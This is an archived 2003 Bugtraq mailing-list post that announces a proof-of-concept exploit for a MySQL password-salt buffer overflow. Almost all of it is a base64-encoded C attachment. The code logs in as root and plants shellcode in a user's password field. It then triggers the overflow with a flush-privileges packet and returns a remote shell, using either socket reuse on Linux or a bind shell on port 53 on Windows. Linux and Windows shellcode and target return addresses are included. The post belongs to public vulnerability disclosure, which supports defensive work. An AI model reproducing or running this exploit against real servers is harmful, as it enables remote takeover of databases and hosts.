[31595] in bugtraq
exploit for mysql -- [get_salt_from_password] problem
daemon@ATHENA.MIT.EDU (lion)
Mon Sep 15 12:57:40 2003
Message-ID: <20030913202007.17490.qmail@mail.securityfocus.com>
From: "lion" <lion@cnhonker.net>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="=====000_Dragon044430134546_====="
Date: Sun, 14 Sep 2003 4:30:45 +0800
--=====000_Dragon044430134546_=====
Content-Type: text/plain;
charset="GB2312"
Content-Transfer-Encoding: 7bit
exp for mysql ([get_salt_from_password] problem)
proof of concept
using jmp *eax
bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com) 2003/09/13
compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
Welcome to HUC website: http://www.cnhonker.com
--=====000_Dragon044430134546_=====
Content-Type: application/octet-stream;
name="mysql.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="mysql.c"
LyogZXhwIGZvciBteXNxbCAoW2dldF9zYWx0X2Zyb21fcGFzc3dvcmRdIHByb2JsZW0pDQogKiBw
cm9vZiBvZiBjb25jZXB0DQogKiB1c2luZyBqbXAgKmVheCBmb3IgbGludXgNCiAqIHVzaW5nIGpt
cCAqZWR4IGZvciB3aW5kb3dzDQogKiBia2JsbChia2JsbF9hdF9jbmhvbmtlci5uZXQsYmtibGxf
YXRfdG9tLmNvbSkgMjAwMy8wOS8xMw0KICogV2VsY29tZSB0byBodHRwOi8vd3d3LmNuaG9ua2Vy
LmNvbQ0KICogY29tcGlsZTpnY2MgLW8gbXlzcWwgbXlzcWwuYyAtTC91c3IvbGliL215c3FsIC1s
bXlzcWxjbGllbnQNCiAqLw0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+
DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCiNpbmNsdWRlIDxzeXMv
c29ja2V0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NlbGVjdC5o
Pg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8bXlzcWwvbXlzcWwuaD4NCg0KI2RlZmlu
ZSBST09UVVNFUiAicm9vdCINCiNkZWZpbmUgUE9SVCAzMzA2DQojZGVmaW5lIE1ZREIgIm15c3Fs
Ig0KI2RlZmluZSBBTFRDT0xVTVNRTCAiQUxURVIgVEFCTEUgdXNlciBDSEFOR0UgQ09MVU1OIFBh
c3N3b3JkIFBhc3N3b3JkIExPTkdURVhUIg0KI2RlZmluZSBMSVNUVVNFUlNRTCAiU0VMRUNUIHVz
ZXIgRlJPTSBteXNxbC51c2VyIFdIRVJFIHVzZXIhPSdyb290JyBMSU1JVCAwLDEiDQojZGVmaW5l
IEZMVVNIU1FMICJceDExXHgwMFx4MDBceDAwXHgwM1x4NjZceDZDXHg3NVx4NzNceDY4XHgyMFx4
NzBceDcyXHg2OVx4NzZceDY5XHg2Q1x4NjVceDY3XHg2NVx4NzMiDQojZGVmaW5lIEJVRiAyMDQ4
DQojZGVmaW5lIFZFUiAiMi4wYjQiDQoNCk1ZU1FMICpjb25uOw0KY2hhciBOT1BbXT0iOTAiOw0K
Y2hhciBsaW51eF9zaGVsbGNvZGVbXT0NCiJkYjMxYzAzMTAyYjBjOTMxIg0KImMwODU4MGNkYzM4
OTM0NzQiDQoiZDIzMWMwMzE4MGNkMDdiMCINCiI0MGIwYzAzMTA5YjE4MGNkIg0KImMwMzFjMzg5
ODBjZDI1YjAiDQoiODBjMmZlNDNmMDcyMDNmYSINCiIxNGIwYzAzMWMzODk4MGNkIg0KImM5MzFj
MDMxMjViMDA5YjEiDQoiMTdiMDgwY2RjMDMxODBjZCINCiI4OTUwNDA1MGIwYzkzMWUzIg0KImIx
ODBjZGEyODNjODg5ZTAiDQoiZDBmNzBhZTgzMWM3ODk0MCINCiI4OTRjNDBjMDUyNTA1MGUyIg0K
IjRjOGQ1MTU3ZGIzMTA0MjQiDQoiNjZiMDBhYjM4MzU5ODBjZCINCiIwNTc1MDFmODc0NDkzYTgw
Ig0KIjMxZDJlMjA5YzM4OTQwYzAiDQoiZmI4OTgwY2QzZmIwMDNiMSINCiI0MTgwY2Q0OTY4NTFm
OGUyIg0KIjY4NzMyZjZlNjIyZjJmNjgiDQoiNTFlMzg5Njk2YzY5MmQ2OCINCiI1MWUyODk3MGUx
ODk1MzUyIg0KImMwMzFkMjMxODBjZDBiYjAiDQo7DQovL2JpbmQgb24gNTMgcG9ydA0KY2hhciB3
aW5fc2hlbGxjb2RlW109DQoiNEE1QTEwRUJCOTY2QzkzMzM0ODAwMTdERkFFMjk5MEEiDQoiRUJF
ODA1RUI3MEZGRkZGRjk5OTk5ODk1QTkzOEZEQzMiDQoiMTI5OTk5OTlFOTEyOTVEOUQ5MTIzNDg1
MTI0MTEyOTEiDQoiRUQxMkE1RUE2QTlBRTE4NzlBQjlFNzEyOERENzEyNjIiDQoiQ0VDRjc0QUE5
QUE2MTJDOEYzNkIxMjYyM0Y2QUMwOTciDQoiQzZDMDkxRUREQzlENUUxQUM2QzA3MDdCMTI1NDEy
QzciDQoiNUE5QUJEREY1ODlBNzg0ODEyRkY1MEFBODVERjEyOTEiDQoiNzg1ODVBOUExMjU4OUE5
QjEyNUE5QTk5MUE2RTEyNjMiDQoiNDkxMjk3NUY3MUMwOUFGMzk5OTk5OTFFQ0I5NDVGMUEiDQoi
NjVDRTY2Q0ZGMzQxMTJDM0VENzFDMDlDQzk5OTk5OTkiDQoiRjNDOUM5Qzk2NjlCRjM5ODQxMTI3
NUNFOTk5QjlFNUUiDQoiNTlBQUFDOTlGMzlEREUxMDY2Q0FDRTg5OThGMzY5Q0UiDQoiNkRDRTY2
Q0E2NkNBQzlDOTQ5MTI2MUNFMTJERDc1MUEiDQoiRjM1OUFBNkQ5RDEwQzA4OTEwNjI3QjE3Q0Yx
MEExQ0YiDQoiRDlDRjEwQTVCNURGNUVGRkRFMTQ5ODk4QUFDRkM5ODkiDQoiQzhDOEM4NTBDOEM4
OThGM0ZBQTVERTVFMTQ5OUZERjQiDQoiQzhDOUE1REVDQjc5Q0U2NkNBNjVDRTY2Qzk2NUNFNjYi
DQoiQUE3RENFNjY1OTFDMzU1OUNCQzg2MEVDNEI2NkNBQ0YiDQoiN0IzMkMwQzM1QTU5QUE3NzY2
Njc3NjcxRURGQ0RFNjYiDQoiRkFGNkVCQzlFQkZERkREODk5RUFFQUZDRjhGQ0VCREEiDQoiRUJD
OUZDRURFQUZDRkFGNkRDOTlEOEVBQ0RFREYwRTEiDQoiRjhGQ0VCRjFGNkQ1OTlGREYwRDVGREY4
RUJGOEVCRkIiDQoiRUU5OUQ4RTBBQUM2QUJFQUNBQ0U5OUFCRkFGNkNBRDgiDQoiRDhFREZDRjJG
N0YwRkI5OUYwRjU5OUZERjdGQ0VERUEiDQoiRkFGQUY4OTk5OUVERTlGQ0VBRjZGNUZBRkFGNkVB
RkMiDQoiOTlFREZDRjIiOw0KaW50IHdpbl9wb3J0PTUzOw0KaW50IHR5cGU9MTsNCnN0cnVjdA0K
ew0KICBjaGFyICpvczsNCiAgdV9sb25nIHJldDsNCiAgaW50IHBhZDsNCiAgaW50IHN5c3RlbXR5
cGU7IC8vMCBpcyBsaW51eCwxIGlzIHdpbmRvd3MNCn0gdGFyZ2V0c1tdID0NCiAgCXsNCgkgIAl7
ICJsaW51eDpnbGliYy0yLjIuOTMtNSIsIDB4NDIxMjViMmIsMTkqNCoyLDB9LA0KLy8JICAJeyAi
d2luZG93czIwMDAgU1AzIENOIiwweDc3ZTYyNWRiLDkqNCoyLDF9LA0KCSAgCXsgIndpbmRvd3My
MDAwIFNQNCBDTiIsMHg3N2U3YmVjMyw5KjQqMiwxfSwNCgl9LHY7DQoNCnZvaWQgdXNhZ2UoY2hh
ciAqKTsNCnZvaWQgc3FsZXJyb3IoY2hhciAqKTsNCk1ZU1FMICpteXNxbGNvbm4oY2hhciAqc2Vy
dmVyLGludCBwb3J0LGNoYXIgKnVzZXIsY2hhciAqcGFzcyxjaGFyICpkYm5hbWUpOw0KDQptYWlu
KGludCBhcmdjLGNoYXIgKiphcmd2KQ0Kew0KCU1ZU1FMX1JFUyAqcmVzdWx0Ow0KCU1ZU1FMX1JP
VyByb3c7DQoJY2hhciBqbXBhZGRyZXNzWzhdOw0KCWNoYXIgYnVmZmVyW0JVRl0sbXVzZXJbMjBd
LGJ1ZjJbMTIwMF07DQoJbXlfdWxvbmdsb25nIHJzbGluZXM7DQoJc3RydWN0IHNvY2thZGRyX2lu
IGNsaXNvY2tldDsNCglpbnQgaT0wLGosY2xpZmQsY291bnQsYTsNCgljaGFyIGRhdGExLGM7DQoJ
ZmRfc2V0IGZkczsNCgljaGFyICpzZXJ2ZXI9TlVMTCwqcm9vdHBhc3M9TlVMTDsNCglpbnQgcGFk
LHN5c3RlbXR5cGU7DQoJdV9sb25nIGptcGFkZHI7DQoJDQoJaWYoYXJnYzwzKSB1c2FnZShhcmd2
WzBdKTsNCgl3aGlsZSgoYyA9IGdldG9wdChhcmdjLCBhcmd2LCAiZDp0OnA6IikpIT0gRU9GKQ0K
ICAgCXsNCiAgICAgCQlzd2l0Y2ggKGMpDQogICAgIAkJew0KCQkgICAgICBjYXNlICdkJzoNCgkJ
ICAgICAgICAgIHNlcnZlcj1vcHRhcmc7DQoJCSAgICAgICAgICBicmVhazsNCgkJICAgICAgY2Fz
ZSAndCc6DQoJCSAgICAgICAgICB0eXBlID0gYXRvaShvcHRhcmcpOw0KCQkgICAgICAgICAgaWYo
KHR5cGUgPiBzaXplb2YodGFyZ2V0cykvc2l6ZW9mKHYpKSB8fCAodHlwZSA8IDEpKQ0KCQkgICAg
ICAgICAgIAl1c2FnZShhcmd2WzBdKTsNCgkJICAgICAgICAgIGJyZWFrOw0KCQkgICAgIGNhc2Ug
J3AnOg0KCQkgICAgICAgICAgcm9vdHBhc3M9b3B0YXJnOw0KCQkgICAgICAgICAgIGJyZWFrOw0K
CQkgICAgIGRlZmF1bHQ6DQoJCSAgICAgICAgICB1c2FnZShhcmd2WzBdKTsNCgkJICAgICAgICAg
IHJldHVybiAxOw0KICAgICAgIAkJfQ0KICAgICAgIAl9DQogICAgICAgCWlmKHNlcnZlcj09TlVM
TCB8fCByb290cGFzcz09TlVMTCkNCiAgICAgICAJCXVzYWdlKGFyZ3ZbMF0pOw0KCW1lbXNldCht
dXNlciwwLDIwKTsNCgltZW1zZXQoYnVmMiwwLDEyMDApOw0KCXBhZD10YXJnZXRzW3R5cGUtMV0u
cGFkOw0KCXN5c3RlbXR5cGU9dGFyZ2V0c1t0eXBlLTFdLnN5c3RlbXR5cGU7DQoJam1wYWRkcj10
YXJnZXRzW3R5cGUtMV0ucmV0Ow0KCXByaW50ZigiQC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1AXG4iKTsNCglwcmludGYoIiMgTXlzcWwgMy4yMy54LzQu
MC54IHJlbW90ZSBleHBsb2l0KDA5LzEzKS0lcyAgI1xuIixWRVIpOw0KCXByaW50ZigiQCBieSBi
a2JsbChia2JsbF9hdF9jbmhvbmtlci5uZXQsYmtibGxfYXRfdG9tLmNvbSBAXG4iKTsNCglwcmlu
dGYoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxu
Iik7DQoJcHJpbnRmKCJbK10gc3lzdGVtIHR5cGU6JXMsdXNpbmcgcmV0IGFkZHI6JXAscGFkOiVk
XG4iLChzeXN0ZW10eXBlPT0wKT8ibGludXgiOiJ3aW5kb3dzIixqbXBhZGRyLHBhZCk7DQoJcHJp
bnRmKCJbK10gQ29ubmVjdGluZyB0byBteXNxbCBzZXJ2ZXIgJXM6JWQuLi4uIixzZXJ2ZXIsUE9S
VCk7DQoJZmZsdXNoKHN0ZG91dCk7DQoJY29ubj1teXNxbGNvbm4oc2VydmVyLFBPUlQsUk9PVFVT
RVIscm9vdHBhc3MsTVlEQik7DQoJaWYoY29ubj09TlVMTCkgZXhpdCgwKTsNCglwcmludGYoIm9r
XG4iKTsNCglwcmludGYoIlsrXSBBTFRFUiB1c2VyIGNvbHVtbi4uLiIpOw0KCWZmbHVzaChzdGRv
dXQpOw0KCWlmKG15c3FsX3JlYWxfcXVlcnkoY29ubixBTFRDT0xVTVNRTCxzdHJsZW4oQUxUQ09M
VU1TUUwpKSE9MCkNCgkJc3FsZXJyb3IoIkFMVEVSIHVzZXIgdGFibGUgZmFpbGVkIik7DQoJLy9z
ZWxlY3QNCglwcmludGYoIm9rXG4iKTsNCglwcmludGYoIlsrXSBTZWxlY3QgYSB2YWxpZCB1c2Vy
Li4uIik7DQoJZmZsdXNoKHN0ZG91dCk7DQoJaWYobXlzcWxfcmVhbF9xdWVyeShjb25uLExJU1RV
U0VSU1FMLHN0cmxlbihMSVNUVVNFUlNRTCkpIT0wKSANCgkJc3FsZXJyb3IoInNlbGVjdCB1c2Vy
IGZyb20gdGFibGUgZmFpbGVkIik7DQoJcmVzdWx0PW15c3FsX3N0b3JlX3Jlc3VsdChjb25uKTsN
CglpZihyZXN1bHQ9PU5VTEwpDQoJCXNxbGVycm9yKCJzdG9yZSByZXN1bHQgZXJyb3IiKTsNCgly
c2xpbmVzPW15c3FsX251bV9yb3dzKHJlc3VsdCk7DQoJaWYocnNsaW5lcz09MCkNCgkJc3FsZXJy
b3IoIkNhbm5vdCBmaW5kIGEgdXNlciIpOw0KCXJvdz1teXNxbF9mZXRjaF9yb3cocmVzdWx0KTsN
CglzbnByaW50ZihtdXNlciwxOSwiJXMiLHJvd1swXSk7DQoJcHJpbnRmKCJva1xuIik7DQoJcHJp
bnRmKCJbK10gRm91bmQgYSB1c2VyOiVzXG4iLG11c2VyKTsNCgltZW1zZXQoYnVmZmVyLDAsQlVG
KTsNCglpPXNwcmludGYoYnVmZmVyLCJ1cGRhdGUgdXNlciBzZXQgcGFzc3dvcmQ9JyIpOw0KCXNw
cmludGYoam1wYWRkcmVzcywiJXgiLGptcGFkZHIpOw0KCWptcGFkZHJlc3NbOF09MDsNCglmb3Io
aj0wO2o8cGFkLTQ7ais9MikNCgl7DQoJCW1lbWNweShidWYyK2osTk9QLDIpOw0KCX0NCgltZW1j
cHkoYnVmMitqLCIwNmViIiw0KTsNCgltZW1jcHkoYnVmMitwYWQsam1wYWRkcmVzcyw4KTsNCglz
d2l0Y2goc3lzdGVtdHlwZSkNCgl7DQoJCWNhc2UgMDoNCgkJCW1lbWNweShidWYyK3BhZCs4LGxp
bnV4X3NoZWxsY29kZSxzdHJsZW4obGludXhfc2hlbGxjb2RlKSk7DQoJCQlicmVhazsNCgkJY2Fz
ZSAxOg0KCQkJbWVtY3B5KGJ1ZjIrcGFkKzgsd2luX3NoZWxsY29kZSxzdHJsZW4od2luX3NoZWxs
Y29kZSkpOw0KCQkJYnJlYWs7DQoJCWRlZmF1bHQ6DQoJCQlwcmludGYoIlstXSBOb3Qgc3VwcG9y
dCB0aGlzIHN5c3RlbXR5cGVcbiIpOw0KCQkJbXlzcWxfY2xvc2UoY29ubik7DQoJCQlleGl0KDAp
Ow0KCX0NCgkNCglqPXN0cmxlbihidWYyKTsNCglpZihqJTgpDQoJew0KCQlqPWovOCsxOw0KCQlj
b3VudD1qKjgtc3RybGVuKGJ1ZjIpOw0KCQltZW1zZXQoYnVmMitzdHJsZW4oYnVmMiksJ0EnLGNv
dW50KTsNCgl9DQoJcHJpbnRmKCJbK10gUGFzc3dvcmQgbGVuZ3RoOiVkXG4iLHN0cmxlbihidWYy
KSk7DQoJbWVtY3B5KGJ1ZmZlcitpLGJ1ZjIsc3RybGVuKGJ1ZjIpKTsNCglpKz1zdHJsZW4oYnVm
Mik7DQoJaSs9c3ByaW50ZihidWZmZXIraSwiJyB3aGVyZSB1c2VyPSclcyciLG11c2VyKTsNCglt
eXNxbF9mcmVlX3Jlc3VsdChyZXN1bHQpOw0KCXByaW50ZigiWytdIE1vZGlmaWVkIHBhc3N3b3Jk
Li4uIik7DQoJZmZsdXNoKHN0ZG91dCk7CQ0KCS8vZ2V0IHJlc3VsdA0KCS8vd3JpdGUoMixidWZm
ZXIsaSk7DQoJaWYobXlzcWxfcmVhbF9xdWVyeShjb25uLGJ1ZmZlcixpKSE9MCkgDQoJCXNxbGVy
cm9yKCJNb2RpZmllZCBwYXNzd29yZCBlcnJvciIpOw0KCS8vaGVyZSBJJ2xsIGZpbmQgY2xpZW50
IHNvY2tldCBmZA0KCXByaW50Zigib2tcbiIpOw0KCXByaW50ZigiWytdIEZpbmRpbmcgY2xpZW50
IHNvY2tldC4uLi4uLiIpOw0KCWo9c2l6ZW9mKGNsaXNvY2tldCk7DQoJZm9yKGNsaWZkPTM7Y2xp
ZmQ8MjU2O2NsaWZkKyspDQoJew0KCQlpZihnZXRwZWVybmFtZShjbGlmZCwoc3RydWN0IHNvY2th
ZGRyICopJmNsaXNvY2tldCwmaik9PS0xKSBjb250aW51ZTsNCgkJaWYoY2xpc29ja2V0LnNpbl9w
b3J0PT1odG9ucyhQT1JUKSkgYnJlYWs7DQoJfQ0KCWlmKGNsaWZkPT0yNTYpDQoJew0KCQlwcmlu
dGYoIkZBSUxFRFxuWy1dIENhbm5vdCBmaW5kIGNsaWVudCBzb2NrZXRcbiIpOw0KCQlteXNxbF9j
bG9zZShjb25uKTsNCgkJZXhpdCgwKTsNCgl9DQoJcHJpbnRmKCJva1xuIik7DQoJcHJpbnRmKCJb
K10gc29ja2V0ZmQ6JWRcbiIsY2xpZmQpOw0KCS8vbGV0IHNlcnZlciBvdmVyZmxvdw0KCXByaW50
ZigiWytdIE92ZXJmbG93IHNlcnZlci4uLi4iKTsNCglmZmx1c2goc3Rkb3V0KTsNCglzZW5kKGNs
aWZkLEZMVVNIU1FMLHNpemVvZihGTFVTSFNRTCksMCk7DQoJLy9pZihteXNxbF9yZWFsX3F1ZXJ5
KGNvbm4sRkxVU0hTUUwsc3RybGVuKEZMVVNIU1FMKSkhPTApIA0KCS8vCXNxbGVycm9yKCJGbHVz
aCBlcnJvciIpOw0KCXByaW50Zigib2tcbiIpOw0KCWlmKHN5c3RlbXR5cGU9PTApDQoJew0KCSAg
IAlwcmludGYoIlsrXSBzZW5kaW5nIE9PQi4uLi4uLi4iKTsNCgkgICAJZmZsdXNoKHN0ZG91dCk7
DQoJICAgCWRhdGExPSdJJzsNCgkJaWYoc2VuZChjbGlmZCwmZGF0YTEsMSxNU0dfT09CKTwxKQ0K
CSAgIAl7DQoJICAgCQlwZXJyb3IoImVycm9yIik7DQoJICAgCQlteXNxbF9jbG9zZShjb25uKTsN
CgkgICAJCWV4aXQoMCk7DQoJICAgCX0NCgkJcHJpbnRmKCJva1xyXG4iKTsNCgl9DQoJcHJpbnRm
KCJbK10gV2FpdGluZyBmb3IgYSBzaGVsbC4uLi4uXG4iKTsNCglpZihzeXN0ZW10eXBlPT0xKQ0K
CXsNCgkJY2xpZmQ9c29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQoJCWNsaWVudF9jb25u
ZWN0KGNsaWZkLHNlcnZlcix3aW5fcG9ydCk7DQoJfQ0KCS8vcHJpbnRmKCJbK10gV2FpdGluZyBh
IHNoZWxsLi4uLi4iKTsNCglmZmx1c2goc3Rkb3V0KTsNCglleGVjc2goY2xpZmQpOw0KCW15c3Fs
X2Nsb3NlKGNvbm4pOw0KCWV4aXQoMCk7DQogICAJDQp9DQppbnQgZXhlY3NoKGludCBjbGlmZCkN
CnsgDQoJZmRfc2V0IGZkczsNCglpbnQgY291bnQ7DQoJY2hhciBidWZmZXJbQlVGXTsNCgltZW1z
ZXQoYnVmZmVyLDAsQlVGKTsNCgl3aGlsZSgxKQ0KCXsNCgkJRkRfWkVSTygmZmRzKTsNCgkJRkRf
U0VUKDAsICZmZHMpOw0KCQlGRF9TRVQoY2xpZmQsICZmZHMpOw0KCQkNCgkJaWYgKHNlbGVjdChj
bGlmZCsxLCAmZmRzLCBOVUxMLCBOVUxMLCBOVUxMKSA8IDApIA0KCQl7DQoJCQlpZiAoZXJybm8g
PT0gRUlOVFIpIGNvbnRpbnVlOw0KCQkJYnJlYWs7DQoJCX0NCgkJaWYgKEZEX0lTU0VUKDAsICZm
ZHMpKSANCgkJew0KCQkJY291bnQgPSByZWFkKDAsIGJ1ZmZlciwgQlVGKTsNCgkJCWlmIChjb3Vu
dCA8PSAwKSBicmVhazsNCgkJCWlmICh3cml0ZShjbGlmZCwgYnVmZmVyLCBjb3VudCkgPD0gMCkg
YnJlYWs7DQoJCQltZW1zZXQoYnVmZmVyLDAsQlVGKTsNCgkJfQ0KCQlpZiAoRkRfSVNTRVQoY2xp
ZmQsICZmZHMpKSANCgkJew0KCQkJY291bnQgPSByZWFkKGNsaWZkLCBidWZmZXIsIEJVRik7DQoJ
CQlpZiAoY291bnQgPD0gMCkgYnJlYWs7DQoJCQlpZiAod3JpdGUoMSwgYnVmZmVyLCBjb3VudCkg
PD0gMCkgYnJlYWs7DQoJCQltZW1zZXQoYnVmZmVyLDAsQlVGKTsNCgkJfQ0KCQkNCgl9DQp9DQoJ
DQp2b2lkIHVzYWdlKGNoYXIgKnMpDQp7DQoJaW50IGE7DQoJcHJpbnRmKCJALS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLUBcbiIpOw0KCXByaW50ZigiIyBN
eXNxbCAzLjIzLngvNC4wLnggcmVtb3RlIGV4cGxvaXQoMDkvMTMpLSVzICAjXG4iLFZFUik7DQoJ
cHJpbnRmKCJAIGJ5IGJrYmxsKGJrYmxsX2F0X2NuaG9ua2VyLm5ldCxia2JsbF9hdF90b20uY29t
IEBcbiIpOw0KCXByaW50ZigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tXG4iKTsNCglwcmludGYoIlVzYWdlOiVzIC1kIDxob3N0PiAtcCA8cm9vdF9w
YXNzPiAtdCA8dHlwZT5cbiIscyk7DQoJcHJpbnRmKCIgICAgICAtZCB0YXJnZXQgaG9zdCBpcC9u
YW1lXG4iKTsNCglwcmludGYoIiAgICAgIC1wICdyb290JyB1c2VyIHBhYXN3b3JkXG4iKTsNCglw
cmludGYoIiAgICAgIC10ICB0eXBlIFtkZWZhdWx0OiVkXVxuIix0eXBlKTsNCglwcmludGYoIiAg
ICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIik7DQoJZm9yKGEgPSAwOyBhIDwg
c2l6ZW9mKHRhcmdldHMpL3NpemVvZih2KTsgYSsrKQ0KCQlwcmludGYoIiAgICAgICAgICVkIFsw
eCUuOHhdOiAlc1xuIiwgYSsxLCB0YXJnZXRzW2FdLnJldCwgdGFyZ2V0c1thXS5vcyk7ICAgDQoJ
cHJpbnRmKCJcbiIpOyAgICAgICAgICAgDQoJZXhpdCgwKTsNCn0NCk1ZU1FMICpteXNxbGNvbm4o
Y2hhciAqc2VydmVyLGludCBwb3J0LGNoYXIgKnVzZXIsY2hhciAqcGFzcyxjaGFyICpkYm5hbWUp
DQp7DQoJTVlTUUwgKmNvbm5lY3Q7DQoJY29ubmVjdD1teXNxbF9pbml0KE5VTEwpOw0KCWlmKGNv
bm5lY3Q9PU5VTEwpDQoJew0KCQlwcmludGYoIkZBSUxFRFxuWy1dIGluaXQgbXlzcWwgZmFpbGVk
OiVzXG4iLG15c3FsX2Vycm9yKGNvbm5lY3QpKTsNCgkJcmV0dXJuIE5VTEw7DQoJfQ0KCWlmKG15
c3FsX3JlYWxfY29ubmVjdChjb25uZWN0LHNlcnZlcix1c2VyLHBhc3MsZGJuYW1lLHBvcnQsTlVM
TCwwKT09TlVMTCkNCgl7DQogICAgCQlwcmludGYoIkZBSUxFRFxuWy1dIEVycm9yOiAlc1xuIixt
eXNxbF9lcnJvcihjb25uZWN0KSk7DQogICAgCQlyZXR1cm4gTlVMTDsNCiAgICAJfQ0KICAgIAly
ZXR1cm4gY29ubmVjdDsNCg0KfQ0Kdm9pZCBzcWxlcnJvcihjaGFyICpzKQ0Kew0KCWZwcmludGYo
c3RkZXJyLCJGQUlMRURcblstXSAlczolc1xuIixzLG15c3FsX2Vycm9yKGNvbm4pKTsNCglteXNx
bF9jbG9zZShjb25uKTsNCglleGl0KDApOw0KfQ0KDQppbnQgY2xpZW50X2Nvbm5lY3QoaW50IHNv
Y2tmZCxjaGFyKiBzZXJ2ZXIsaW50IHBvcnQpDQp7DQogICBzdHJ1Y3Qgc29ja2FkZHJfaW4gY2xp
YWRkcjsNCiAgIHN0cnVjdCBob3N0ZW50ICpob3N0Ow0KIA0KICAgaWYoKGhvc3Q9Z2V0aG9zdGJ5
bmFtZShzZXJ2ZXIpKT09TlVMTCkNCiAgIHsNCiAgIAlwcmludGYoImdldGhvc3RieW5hbWUoJXMp
IGVycm9yXG4iLHNlcnZlcik7DQogICAJcmV0dXJuKC0xKTsNCiAgIH0gIAkNCiAgIA0KICAgYnpl
cm8oJmNsaWFkZHIsc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpOw0KICAgY2xpYWRkci5zaW5fZmFt
aWx5PUFGX0lORVQ7DQogICBjbGlhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOw0KICAgY2xpYWRk
ci5zaW5fYWRkcj0qKChzdHJ1Y3QgaW5fYWRkciAqKWhvc3QtPmhfYWRkcik7DQogICBwcmludGYo
IlsrXSBUcnlpbmcgJXM6JWQuLi4uIixzZXJ2ZXIscG9ydCk7DQogICBmZmx1c2goc3Rkb3V0KTsN
CiAgIGlmKGNvbm5lY3Qoc29ja2ZkLChzdHJ1Y3Qgc29ja2FkZHIgKikmY2xpYWRkcixzaXplb2Yo
c3RydWN0IHNvY2thZGRyKSk8MCkNCiAgIHsNCiAgIAlwcmludGYoImVycm9yOiVzXHJcbiIsc3Ry
ZXJyb3IoZXJybm8pKTsNCiAgIAlyZXR1cm4oLTEpOw0KICAgfQ0KICAgcHJpbnRmKCJva1xyXG4i
KTsNCiAgIHJldHVybigwKTsNCn0NCg==
--=====000_Dragon044430134546_=====--